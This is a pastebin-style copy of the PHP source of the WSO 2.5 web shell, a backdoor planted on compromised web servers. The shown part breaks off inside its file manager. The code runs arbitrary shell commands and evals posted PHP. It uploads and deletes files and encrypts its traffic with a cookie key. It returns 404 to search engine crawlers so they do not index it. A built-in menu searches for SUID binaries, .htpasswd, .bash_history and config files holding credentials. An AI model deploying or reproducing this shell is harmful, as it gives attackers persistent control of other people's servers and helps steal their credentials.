· 8 years ago · Feb 23, 2018, 10:00 AM
1<?PHP
2$color = "#ddff55";
3$default_use_ajax = true;
4$default_charset = 'Windows-1251';
5$default_action='FilesMan';
6$default_key = md5($_SERVER['HTTP_USER_AGENT']);
7if (!isset($_COOKIE[md5($_SERVER['HTTP_HOST'])."key"])) {
8 $s = 'WSOsetcookie';
9 $s(md5($_SERVER['HTTP_HOST'])."key", $default_key);
10}
11if(empty($_POST['charset']))
12 $_POST['charset'] = $default_charset;
13if (!isset($_POST['ne'])) {
14 if(isset($_POST['a'])) $_POST['a'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['a'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
15 if(isset($_POST['c'])) $_POST['c'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['c'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
16 if(isset($_POST['p1'])) $_POST['p1'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p1'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
17 if(isset($_POST['p2'])) $_POST['p2'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p2'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
18 if(isset($_POST['p3'])) $_POST['p3'] = iconv("utf-8", $_POST['charset'], decrypt($_POST['p3'],$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]));
19}
20function decrypt($str,$pwd){$pwd=base64_encode($pwd);$str=base64_decode($str);$enc_chr="";$enc_str="";$i=0;while($i<strlen($str)){for($j=0;$j<strlen($pwd);$j++){$enc_chr=chr(ord($str[$i])^ord($pwd[$j]));$enc_str.=$enc_chr;$i++;if($i>=strlen($str))break;}}return base64_decode($enc_str);}
21
22@ini_set('error_log',NULL);
23@ini_set('log_errors',0);
24@ini_set('max_execution_time',0);
25@set_time_limit(0);
26//@set_magic_quotes_runtime(0);
27@define('WSO_VERSION', '2.5');
28
29if(!isset($_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax']))
30 $_COOKIE[md5($_SERVER['HTTP_HOST']) . 'ajax'] = (bool)$default_use_ajax;
31
32
33if(get_magic_quotes_gpc()) {
34 function WSOstripslashes($array) {
35 return is_array($array) ? array_map('WSOstripslashes', $array) : stripslashes($array);
36 }
37 $_POST = WSOstripslashes($_POST);
38 $_COOKIE = WSOstripslashes($_COOKIE);
39}
40
41
42if(strtolower(substr(PHP_OS,0,3)) == "win")
43 $os = 'win';
44else
45 $os = 'nix';
46
47$safe_mode = @ini_get('safe_mode');
48if(!$safe_mode)
49 error_reporting(0);
50
51$disable_functions = @ini_get('disable_functions');
52$home_cwd = @getcwd();
53if(isset($_POST['c']))
54 @chdir($_POST['c']);
55$cwd = @getcwd();
56if($os == 'win') {
57 $home_cwd = str_replace("\\", "/", $home_cwd);
58 $cwd = str_replace("\\", "/", $cwd);
59}
60if($cwd[strlen($cwd)-1] != '/')
61 $cwd .= '/';
62
63
64if (!function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false)) {
65 function posix_getpwuid($p) {return false;} }
66if (!function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false)) {
67 function posix_getgrgid($p) {return false;} }
68
69function wsoEx($in) {
70 $out = '';
71 if (function_exists('exec')) {
72 @exec($in,$out);
73 $out = @join("\n",$out);
74 } elseif (function_exists('passthru')) {
75 ob_start();
76 @passthru($in);
77 $out = ob_get_clean();
78 } elseif (function_exists('system')) {
79 ob_start();
80 @system($in);
81 $out = ob_get_clean();
82 } elseif (function_exists('shell_exec')) {
83 $out = shell_exec($in);
84 } elseif (is_resource($f = @popen($in,"r"))) {
85 $out = "";
86 while(!@feof($f))
87 $out .= fread($f,1024);
88 pclose($f);
89 }
90 return $out;
91}
92
93function wsoViewSize($s) {
94 if($s >= 1073741824)
95 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
96 elseif($s >= 1048576)
97 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
98 elseif($s >= 1024)
99 return sprintf('%1.2f', $s / 1024 ) . ' KB';
100 else
101 return $s . ' B';
102}
103
104function wsoPerms($p) {
105 if (($p & 0xC000) == 0xC000)$i = 's';
106 elseif (($p & 0xA000) == 0xA000)$i = 'l';
107 elseif (($p & 0x8000) == 0x8000)$i = '-';
108 elseif (($p & 0x6000) == 0x6000)$i = 'b';
109 elseif (($p & 0x4000) == 0x4000)$i = 'd';
110 elseif (($p & 0x2000) == 0x2000)$i = 'c';
111 elseif (($p & 0x1000) == 0x1000)$i = 'p';
112 else $i = 'u';
113 $i .= (($p & 0x0100) ? 'r' : '-');
114 $i .= (($p & 0x0080) ? 'w' : '-');
115 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
116 $i .= (($p & 0x0020) ? 'r' : '-');
117 $i .= (($p & 0x0010) ? 'w' : '-');
118 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
119 $i .= (($p & 0x0004) ? 'r' : '-');
120 $i .= (($p & 0x0002) ? 'w' : '-');
121 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
122 return $i;
123}
124
125function wsoPermsColor($f) {
126 if (!@is_readable($f))
127 return '<font color=#FF0000>' . wsoPerms(@fileperms($f)) . '</font>';
128 elseif (!@is_writable($f))
129 return '<font color=white>' . wsoPerms(@fileperms($f)) . '</font>';
130 else
131 return '<font color=#25ff00>' . wsoPerms(@fileperms($f)) . '</font>';
132}
133
134function wsoScandir($dir) {
135 if(function_exists("scandir")) {
136 return scandir($dir);
137 } else {
138 $dh = opendir($dir);
139 while (false !== ($filename = readdir($dh)))
140 $files[] = $filename;
141 return $files;
142 }
143}
144
145function wsoWhich($p) {
146 $path = wsoEx('which ' . $p);
147 if(!empty($path))
148 return $path;
149 return false;
150}
151
152function actionRC() {
153 if(!@$_POST['p1']) {
154 $a = array(
155 "uname" => php_uname(),
156 "php_version" => phpversion(),
157 "wso_version" => WSO_VERSION,
158 "safemode" => @ini_get('safe_mode')
159 );
160 echo serialize($a);
161 } else {
162 eval($_POST['p1']);
163 }
164}
165
166function WSOsetcookie($k, $v) {
167 $_COOKIE[$k] = $v;
168 setcookie($k, $v);
169}
170
171function actionLogout() {
172 setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
173 die('bye!');
174}
175
176function actionSelfRemove() {
177
178 if($_POST['p1'] == 'yes')
179 if(@unlink(preg_replace('!\(\d+\)\s.*!', '', __FILE__)))
180 die('Shell has been removed');
181 else
182 echo 'unlink error!';
183 if($_POST['p1'] != 'yes')
184 wsoHeader();
185 echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';
186 wsoFooter();
187}function wsoHeader() {
188 if(empty($_POST['charset']))
189 $_POST['charset'] = $GLOBALS['default_charset'];
190 global $color;
191 echo "<html><head><meta http-equiv='Content-Type' content='text/html; charset=" . $_POST['charset'] . "'><title>" . $_SERVER['HTTP_HOST'] . " - WSO " . WSO_VERSION ."</title>
192<style>
193body{background-color:#444;color:#e1e1e1;}
194body,td,th{ font: 9pt Lucida,Verdana;margin:0;vertical-align:top;color:#e1e1e1; }
195table.info{ color:#fff;background-color:#222; }
196span,h1,a{ color: $color !important; }
197span{ font-weight: bolder; }
198h1{ border-left:5px solid $color;padding: 2px 5px;font: 14pt Verdana;background-color:#222;margin:0px; }
199div.content{ padding: 5px;margin-left:5px;background-color:#333; }
200a{ text-decoration:none; }
201a:hover{ text-decoration:underline; }
202.ml1{ border:1px solid #444;padding:5px;margin:0;overflow: auto; }
203.bigarea{ width:100%;height:300px; }
204input,textarea,select{ margin:0;color:#fff;background-color:#555;border:1px solid $color; font: 9pt Monospace,'Courier New'; }
205form{ margin:0px; }
206#toolsTbl{ text-align:center; }
207.toolsInp{ width: 300px }
208.main th{text-align:left;background-color:#5e5e5e;}
209.main tr:hover{background-color:#5e5e5e}
210.l1{background-color:#444}
211.l2{background-color:#333}
212pre{font-family:Courier,Monospace;}
213</style>
214<script>
215 var c_ = '" . htmlspecialchars($GLOBALS['cwd']) . "';
216 var a_ = '" . htmlspecialchars(@$_POST['a']) ."'
217 var charset_ = '" . htmlspecialchars(@$_POST['charset']) ."';
218 var p1_ = '" . ((strpos(@$_POST['p1'],"\n")!==false)?'':htmlspecialchars($_POST['p1'],ENT_QUOTES)) ."';
219 var p2_ = '" . ((strpos(@$_POST['p2'],"\n")!==false)?'':htmlspecialchars($_POST['p2'],ENT_QUOTES)) ."';
220 var p3_ = '" . ((strpos(@$_POST['p3'],"\n")!==false)?'':htmlspecialchars($_POST['p3'],ENT_QUOTES)) ."';
221 var d = document;
222
223 function encrypt(str,pwd){if(pwd==null||pwd.length<=0){return null;}str=base64_encode(str);pwd=base64_encode(pwd);var enc_chr='';var enc_str='';var i=0;while(i<str.length){for(var j=0;j<pwd.length;j++){enc_chr=str.charCodeAt(i)^pwd.charCodeAt(j);enc_str+=String.fromCharCode(enc_chr);i++;if(i>=str.length)break;}}return base64_encode(enc_str);}
224 function utf8_encode(argString){var string=(argString+'');var utftext='',start,end,stringl=0;start=end=0;stringl=string.length;for(var n=0;n<stringl;n++){var c1=string.charCodeAt(n);var enc=null;if(c1<128){end++;}else if(c1>127&&c1<2048){enc=String.fromCharCode((c1>>6)|192)+String.fromCharCode((c1&63)|128);}else{enc=String.fromCharCode((c1>>12)|224)+String.fromCharCode(((c1>>6)&63)|128)+String.fromCharCode((c1&63)|128);}if(enc!==null){if(end>start){utftext+=string.slice(start,end);}utftext+=enc;start=end=n+1;}}if(end>start){utftext+=string.slice(start,stringl);}return utftext;}
225 function base64_encode(data){var b64 = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var o1,o2,o3,h1,h2,h3,h4,bits,i=0,ac=0,enc='',tmp_arr=[];if (!data){return data;}data=utf8_encode(data+'');do{o1=data.charCodeAt(i++);o2=data.charCodeAt(i++);o3=data.charCodeAt(i++);bits=o1<<16|o2<<8|o3;h1=bits>>18&0x3f;h2=bits>>12&0x3f;h3=bits>>6&0x3f;h4=bits&0x3f;tmp_arr[ac++]=b64.charAt(h1)+b64.charAt(h2)+b64.charAt(h3)+b64.charAt(h4);}while(i<data.length);enc=tmp_arr.join('');switch (data.length%3){case 1:enc=enc.slice(0,-2)+'==';break;case 2:enc=enc.slice(0,-1)+'=';break;}return enc;}
226 function set(a,c,p1,p2,p3,charset) {
227 if(a!=null)d.mf.a.value=a;else d.mf.a.value=a_;
228 if(c!=null)d.mf.c.value=c;else d.mf.c.value=c_;
229 if(p1!=null)d.mf.p1.value=p1;else d.mf.p1.value=p1_;
230 if(p2!=null)d.mf.p2.value=p2;else d.mf.p2.value=p2_;
231 if(p3!=null)d.mf.p3.value=p3;else d.mf.p3.value=p3_;
232 d.mf.a.value = encrypt(d.mf.a.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
233 d.mf.c.value = encrypt(d.mf.c.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
234 d.mf.p1.value = encrypt(d.mf.p1.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
235 d.mf.p2.value = encrypt(d.mf.p2.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
236 d.mf.p3.value = encrypt(d.mf.p3.value,'".$_COOKIE[md5($_SERVER['HTTP_HOST'])."key"]."');
237 if(charset!=null)d.mf.charset.value=charset;else d.mf.charset.value=charset_;
238 }
239 function g(a,c,p1,p2,p3,charset) {
240 set(a,c,p1,p2,p3,charset);
241 d.mf.submit();
242 }
243 function a(a,c,p1,p2,p3,charset) {
244 set(a,c,p1,p2,p3,charset);
245 var params = 'ajax=true';
246 for(i=0;i<d.mf.elements.length;i++)
247 params += '&'+d.mf.elements[i].name+'='+encodeURIComponent(d.mf.elements[i].value);
248 sr('" . addslashes($_SERVER['REQUEST_URI']) ."', params);
249 }
250 function sr(url, params) {
251 if (window.XMLHttpRequest)
252 req = new XMLHttpRequest();
253 else if (window.ActiveXObject)
254 req = new ActiveXObject('Microsoft.XMLHTTP');
255 if (req) {
256 req.onreadystatechange = processReqChange;
257 req.open('POST', url, true);
258 req.setRequestHeader ('Content-Type', 'application/x-www-form-urlencoded');
259 req.send(params);
260 }
261 }
262 function processReqChange() {
263 if( (req.readyState == 4) )
264 if(req.status == 200) {
265 var reg = new RegExp(\"(\\\\d+)([\\\\S\\\\s]*)\", 'm');
266 var arr=reg.exec(req.responseText);
267 eval(arr[2].substr(0, arr[1]));
268 } else alert('Request error!');
269 }
270</script>
271<head><body><div style='position:absolute;width:100%;background-color:#444;top:0;left:0;'>
272<form method=post name=mf style='display:none;'>
273<input type=hidden name=a>
274<input type=hidden name=c>
275<input type=hidden name=p1>
276<input type=hidden name=p2>
277<input type=hidden name=p3>
278<input type=hidden name=charset>
279</form>";
280 $freeSpace = @diskfreespace($GLOBALS['cwd']);
281 $totalSpace = @disk_total_space($GLOBALS['cwd']);
282 $totalSpace = $totalSpace?$totalSpace:1;
283 $release = @php_uname('r');
284 $kernel = @php_uname('s');
285 $explink = 'http://exploit-db.com/search/?action=search&filter_description=';
286 if(strpos('Linux', $kernel) !== false)
287 $explink .= urlencode('Linux Kernel ' . substr($release,0,6));
288 else
289 $explink .= urlencode($kernel . ' ' . substr($release,0,3));
290 if(!function_exists('posix_getegid')) {
291 $user = @get_current_user();
292 $uid = @getmyuid();
293 $gid = @getmygid();
294 $group = "?";
295 } else {
296 $uid = @posix_getpwuid(posix_geteuid());
297 $gid = @posix_getgrgid(posix_getegid());
298 $user = $uid['name'];
299 $uid = $uid['uid'];
300 $group = $gid['name'];
301 $gid = $gid['gid'];
302 }
303
304 $cwd_links = '';
305 $path = explode("/", $GLOBALS['cwd']);
306 $n=count($path);
307 for($i=0; $i<$n-1; $i++) {
308 $cwd_links .= "<a href='#' onclick='g(\"FilesMan\",\"";
309 for($j=0; $j<=$i; $j++)
310 $cwd_links .= $path[$j].'/';
311 $cwd_links .= "\")'>".$path[$i]."/</a>";
312 }
313
314 $charsets = array('UTF-8', 'Windows-1251', 'KOI8-R', 'KOI8-U', 'cp866');
315 $opt_charsets = '';
316 foreach($charsets as $item)
317 $opt_charsets .= '<option value="'.$item.'" '.($_POST['charset']==$item?'selected':'').'>'.$item.'</option>';
318
319 $m = array('Console'=>'Console','FilesMan'=>'FilesMan','Sql'=>'Sql');;
320 if(!empty($GLOBALS['auth_pass']))
321 $m['Logout'] = 'Logout';
322 $m['Self remove'] = 'SelfRemove';
323 $menu = '';
324 foreach($m as $k => $v)
325 $menu .= '<th width="'.(int)(100/count($m)).'%">[ <a href="#" onclick="g(\''.$v.'\',null,\'\',\'\',\'\')">'.$k.'</a> ]</th>';
326
327 $drives = "";
328 if($GLOBALS['os'] == 'win') {
329 foreach(range('c','z') as $drive)
330 if(is_dir($drive.':\\'))
331 $drives .= '<a href="#" onclick="g(\'FilesMan\',\''.$drive.':/\')">[ '.$drive.' ]</a> ';
332 }
333 echo '<table class=info cellpadding=3 cellspacing=0 width=100%><tr><td width=1><span>Uname:<br>User:<br>Php:<br>Hdd:<br>Cwd:' . ($GLOBALS['os'] == 'win'?'<br>Drives:':'') . '</span></td>'
334 . '<td><nobr>' . substr(@php_uname(), 0, 120) . ' <a href="' . $explink . '" target=_blank>[exploit-db.com]</a></nobr><br>' . $uid . ' ( ' . $user . ' ) <span>Group:</span> ' . $gid . ' ( ' . $group . ' )<br>' . @phpversion() . ' <span>Safe mode:</span> ' . ($GLOBALS['safe_mode']?'<font color=red>ON</font>':'<font color=green><b>OFF</b></font>')
335 . ' <span>Datetime:</span> ' . date('Y-m-d H:i:s') . '<br>' . wsoViewSize($totalSpace) . ' <span>Free:</span> ' . wsoViewSize($freeSpace) . ' ('. (int) ($freeSpace/$totalSpace*100) . '%)<br>' . $cwd_links . ' '. wsoPermsColor($GLOBALS['cwd']) . ' <a href=# onclick="g(\'FilesMan\',\'' . $GLOBALS['home_cwd'] . '\',\'\',\'\',\'\')">[ home ]</a><br>' . $drives . '</td>'
336 . '<td width=1 align=right><nobr><select onchange="g(null,null,null,null,null,this.value)"><optgroup label="Page charset">' . $opt_charsets . '</optgroup></select><br><span>Server IP:</span><br>' . @$_SERVER["SERVER_ADDR"] . '<br><span>Client IP:</span><br>' . "Hidden" . '</nobr></td></tr></table>'
337 . '<table style="border-top:2px solid #333;" cellpadding=3 cellspacing=0 width=100%><tr>' . $menu . '</tr></table><div style="margin:5">';
338}function wsoFooter() {
339 $is_writable = is_writable($GLOBALS['cwd'])?" <font color='green'>(Writeable)</font>":" <font color=red>(Not writable)</font>";
340 echo "
341</div>
342<table class=info id=toolsTbl cellpadding=3 cellspacing=0 width=100% style='border-top:2px solid #333;border-bottom:2px solid #333;'>
343 <tr>
344 <td><form onsubmit=\"".( function_exists('actionFilesMan')? "g(null,this.c.value,'');":'' )."return false;\"><span>Change dir:</span><br><input class='toolsInp' type=text name=c value='" . htmlspecialchars($GLOBALS['cwd']) ."'><input type=submit value='>>'></form></td>
345 <td><form onsubmit=\"".(function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value);":'' )."return false;\"><span>Read file:</span><br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
346 </tr><tr>
347 <td><form onsubmit=\"".( function_exists('actionFilesMan')? "g('FilesMan',null,'mkdir',this.d.value);":'' )."return false;\"><span>Make dir:</span>$is_writable<br><input class='toolsInp' type=text name=d><input type=submit value='>>'></form></td>
348 <td><form onsubmit=\"".( function_exists('actionFilesTools')? "g('FilesTools',null,this.f.value,'mkfile');":'' )."return false;\"><span>Make file:</span>$is_writable<br><input class='toolsInp' type=text name=f><input type=submit value='>>'></form></td>
349 </tr><tr>
350 <td><form onsubmit=\"".( function_exists('actionConsole')? "g('Console',null,this.c.value);":'' )."return false;\"><span>Execute:</span><br><input class='toolsInp' type=text name=c value=''><input type=submit value='>>'></form></td>
351 <td><form method='post' ".( (!function_exists('actionFilesMan'))? " onsubmit=\"return false;\" ":'' )."ENCTYPE='multipart/form-data'>
352 <input type=hidden name=a value='FilesMan'>
353 <input type=hidden name=c value='" . $GLOBALS['cwd'] ."'>
354 <input type=hidden name=p1 value='uploadFile'>
355 <input type=hidden name=ne value=''>
356 <input type=hidden name=charset value='" . (isset($_POST['charset'])?$_POST['charset']:'') . "'>
357 <span>Upload file:</span>$is_writable<br><input class='toolsInp' type=file name=f><input type=submit value='>>'></form><br ></td>
358 </tr></table></div></body></html>";
359} if(!empty($_SERVER['HTTP_USER_AGENT'])) {
360 $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
361 if(preg_match('/' . implode('|', $userAgents) . '/i', $_SERVER['HTTP_USER_AGENT'])) {
362 header('HTTP/1.0 404 Not Found');
363 exit;
364 }
365} if($os == 'win')
366 $aliases = array(
367 "List Directory" => "dir",
368 "Find index.php in current dir" => "dir /s /w /b index.php",
369 "Find *config*.php in current dir" => "dir /s /w /b *config*.php",
370 "Show active connections" => "netstat -an",
371 "Show running services" => "net start",
372 "User accounts" => "net user",
373 "Show computers" => "net view",
374 "ARP Table" => "arp -a",
375 "IP Configuration" => "ipconfig /all"
376 );
377else
378 $aliases = array(
379 "List dir" => "ls -lha",
380 "list file attributes on a Linux second extended file system" => "lsattr -va",
381 "show opened ports" => "netstat -an | grep -i listen",
382 "process status" => "ps aux",
383 "Find" => "",
384 "find all suid files" => "find / -type f -perm -04000 -ls",
385 "find suid files in current dir" => "find . -type f -perm -04000 -ls",
386 "find all sgid files" => "find / -type f -perm -02000 -ls",
387 "find sgid files in current dir" => "find . -type f -perm -02000 -ls",
388 "find config.inc.php files" => "find / -type f -name config.inc.php",
389 "find config* files" => "find / -type f -name \"config*\"",
390 "find config* files in current dir" => "find . -type f -name \"config*\"",
391 "find all writable folders and files" => "find / -perm -2 -ls",
392 "find all writable folders and files in current dir" => "find . -perm -2 -ls",
393 "find all service.pwd files" => "find / -type f -name service.pwd",
394 "find service.pwd files in current dir" => "find . -type f -name service.pwd",
395 "find all .htpasswd files" => "find / -type f -name .htpasswd",
396 "find .htpasswd files in current dir" => "find . -type f -name .htpasswd",
397 "find all .bash_history files" => "find / -type f -name .bash_history",
398 "find .bash_history files in current dir" => "find . -type f -name .bash_history",
399 "find all .fetchmailrc files" => "find / -type f -name .fetchmailrc",
400 "find .fetchmailrc files in current dir" => "find . -type f -name .fetchmailrc",
401 "Locate" => "",
402 "locate httpd.conf files" => "locate httpd.conf",
403 "locate vhosts.conf files" => "locate vhosts.conf",
404 "locate proftpd.conf files" => "locate proftpd.conf",
405 "locate psybnc.conf files" => "locate psybnc.conf",
406 "locate my.conf files" => "locate my.conf",
407 "locate admin.php files" =>"locate admin.php",
408 "locate cfg.php files" => "locate cfg.php",
409 "locate conf.php files" => "locate conf.php",
410 "locate config.dat files" => "locate config.dat",
411 "locate config.php files" => "locate config.php",
412 "locate config.inc files" => "locate config.inc",
413 "locate config.inc.php" => "locate config.inc.php",
414 "locate config.default.php files" => "locate config.default.php",
415 "locate config* files " => "locate config",
416 "locate .conf files"=>"locate '.conf'",
417 "locate .pwd files" => "locate '.pwd'",
418 "locate .sql files" => "locate '.sql'",
419 "locate .htpasswd files" => "locate '.htpasswd'",
420 "locate .bash_history files" => "locate '.bash_history'",
421 "locate .mysql_history files" => "locate '.mysql_history'",
422 "locate .fetchmailrc files" => "locate '.fetchmailrc'",
423 "locate backup files" => "locate backup",
424 "locate dump files" => "locate dump",
425 "locate priv files" => "locate priv"
426 );
427
428function actionConsole() {
429 if(!empty($_POST['p1']) && !empty($_POST['p2'])) {
430 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', true);
431 $_POST['p1'] .= ' 2>&1';
432 } elseif(!empty($_POST['p1']))
433 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'stderr_to_out', 0);
434
435 if(isset($_POST['ajax'])) {
436 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', true);
437 ob_start();
438 echo "d.cf.cmd.value='';\n";
439 $temp = @iconv($_POST['charset'], 'UTF-8', addcslashes("\n$ ".$_POST['p1']."\n".wsoEx($_POST['p1']),"\n\r\t\'\0"));
440 if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)) {
441 if(@chdir($match[1])) {
442 $GLOBALS['cwd'] = @getcwd();
443 echo "c_='".$GLOBALS['cwd']."';";
444 }
445 }
446 echo "d.cf.output.value+='".$temp."';";
447 echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";
448 $temp = ob_get_clean();
449 echo strlen($temp), "\n", $temp;
450 exit;
451 }
452 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
453 WSOsetcookie(md5($_SERVER['HTTP_HOST']).'ajax', 0);
454 wsoHeader();
455 echo "<script>
456if(window.Event) window.captureEvents(Event.KEYDOWN);
457var cmds = new Array('');
458var cur = 0;
459function kp(e) {
460 var n = (window.Event) ? e.which : e.keyCode;
461 if(n == 38) {
462 cur--;
463 if(cur>=0)
464 document.cf.cmd.value = cmds[cur];
465 else
466 cur++;
467 } else if(n == 40) {
468 cur++;
469 if(cur < cmds.length)
470 document.cf.cmd.value = cmds[cur];
471 else
472 cur--;
473 }
474}
475function add(cmd) {
476 cmds.pop();
477 cmds.push(cmd);
478 cmds.push('');
479 cur = cmds.length-1;
480}
481</script>";
482 echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';
483 foreach($GLOBALS['aliases'] as $n => $v) {
484 if($v == '') {
485 echo '<optgroup label="-'.htmlspecialchars($n).'-"></optgroup>';
486 continue;
487 }
488 echo '<option value="'.htmlspecialchars($v).'">'.$n.'</option>';
489 }
490
491 echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 '.(@$_COOKIE[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX <input type=checkbox name=show_errors value=1 '.(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']).'stderr_to_out']?'checked':'').'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';
492 if(!empty($_POST['p1'])) {
493 echo htmlspecialchars("$ ".$_POST['p1']."\n".wsoEx($_POST['p1']));
494 }
495 echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';
496 echo '</form></div><script>d.cf.cmd.focus();</script>';
497 wsoFooter();
498} function actionFilesMan() {
499 if (!empty ($_COOKIE['f']))
500 $_COOKIE['f'] = @unserialize($_COOKIE['f']);
501
502 if(!empty($_POST['p1'])) {
503 switch($_POST['p1']) {
504 case 'uploadFile':
505 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
506 echo "Can't upload file!";
507 break;
508 case 'mkdir':
509 if(!@mkdir($_POST['p2']))
510 echo "Can't create new dir";
511 break;
512 case 'delete':
513 function deleteDir($path) {
514 $path = (substr($path,-1)=='/') ? $path:$path.'/';
515 $dh = opendir($path);
516 while ( ($item = readdir($dh) ) !== false) {
517 $item = $path.$item;
518 if ( (basename($item) == "..") || (basename($item) == ".") )
519 continue;
520 $type = filetype($item);
521 if ($type == "dir")
522 deleteDir($item);
523 else
524 @unlink($item);
525 }
526 closedir($dh);
527 @rmdir($path);
528 }
529 if(is_array(@$_POST['f']))
530 foreach($_POST['f'] as $f) {
531 if($f == '..')
532 continue;
533 $f = urldecode($f);
534 if(is_dir($f))
535 deleteDir($f);
536 else
537 @unlink($f);
538 }
539 break;
540 case 'paste':
541 if($_COOKIE['act'] == 'copy') {
542 function copy_paste($c,$s,$d){
543 if(is_dir($c.$s)){
544 mkdir($d.$s);
545 $h = @opendir($c.$s);
546 while (($f = @readdir($h)) !== false)
547 if (($f != ".") and ($f != ".."))
548 copy_paste($c.$s.'/',$f, $d.$s.'/');
549 } elseif(is_file($c.$s))
550 @copy($c.$s, $d.$s);
551 }
552 foreach($_COOKIE['f'] as $f)
553 copy_paste($_COOKIE['c'],$f, $GLOBALS['cwd']);
554 } elseif($_COOKIE['act'] == 'move') {
555 function move_paste($c,$s,$d){
556 if(is_dir($c.$s)){
557 mkdir($d.$s);
558 $h = @opendir($c.$s);
559 while (($f = @readdir($h)) !== false)
560 if (($f != ".") and ($f != ".."))
561 copy_paste($c.$s.'/',$f, $d.$s.'/');
562 } elseif(@is_file($c.$s))
563 @copy($c.$s, $d.$s);
564 }
565 foreach($_COOKIE['f'] as $f)
566 @rename($_COOKIE['c'].$f, $GLOBALS['cwd'].$f);
567 } elseif($_COOKIE['act'] == 'zip') {
568 if(class_exists('ZipArchive')) {
569 $zip = new ZipArchive();
570 if ($zip->open($_POST['p2'], 1)) {
571 chdir($_COOKIE['c']);
572 foreach($_COOKIE['f'] as $f) {
573 if($f == '..')
574 continue;
575 if(@is_file($_COOKIE['c'].$f))
576 $zip->addFile($_COOKIE['c'].$f, $f);
577 elseif(@is_dir($_COOKIE['c'].$f)) {
578 $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
579 foreach ($iterator as $key=>$value) {
580 $zip->addFile(realpath($key), $key);
581 }
582 }
583 }
584 chdir($GLOBALS['cwd']);
585 $zip->close();
586 }
587 }
588 } elseif($_COOKIE['act'] == 'unzip') {
589 if(class_exists('ZipArchive')) {
590 $zip = new ZipArchive();
591 foreach($_COOKIE['f'] as $f) {
592 if($zip->open($_COOKIE['c'].$f)) {
593 $zip->extractTo($GLOBALS['cwd']);
594 $zip->close();
595 }
596 }
597 }
598 } elseif($_COOKIE['act'] == 'tar') {
599 chdir($_COOKIE['c']);
600 $_COOKIE['f'] = array_map('escapeshellarg', $_COOKIE['f']);
601 wsoEx('tar cfzv ' . escapeshellarg($_POST['p2']) . ' ' . implode(' ', $_COOKIE['f']));
602 chdir($GLOBALS['cwd']);
603 }
604 unset($_COOKIE['f']);
605 setcookie('f', '', time() - 3600);
606 break;
607 default:
608 if(!empty($_POST['p1'])) {
609 WSOsetcookie('act', $_POST['p1']);
610 WSOsetcookie('f', serialize(@$_POST['f']));
611 WSOsetcookie('c', @$_POST['c']);
612 }
613 break;
614 }
615 }
616 wsoHeader();
617 echo '<h1>File manager</h1><div class=content><script>p1_=p2_=p3_="";</script>';
618 $dirContent = wsoScandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
619 if($dirContent === false) { echo 'Can\'t open this folder!';wsoFooter(); return; }
620 global $sort;
621 $sort = array('name', 1);
622 if(!empty($_POST['p1'])) {
623 if(preg_match('!s_([A-z]+)_(d{1})!', $_POST['p1'], $match))
624 $sort = array($match[1], (int)$match[2]);
625 }
626echo "<script>
627 function sa() {
628 for(i=0;i<d.files.elements.length;i++)
629 if(d.files.elements[i].type == 'checkbox')
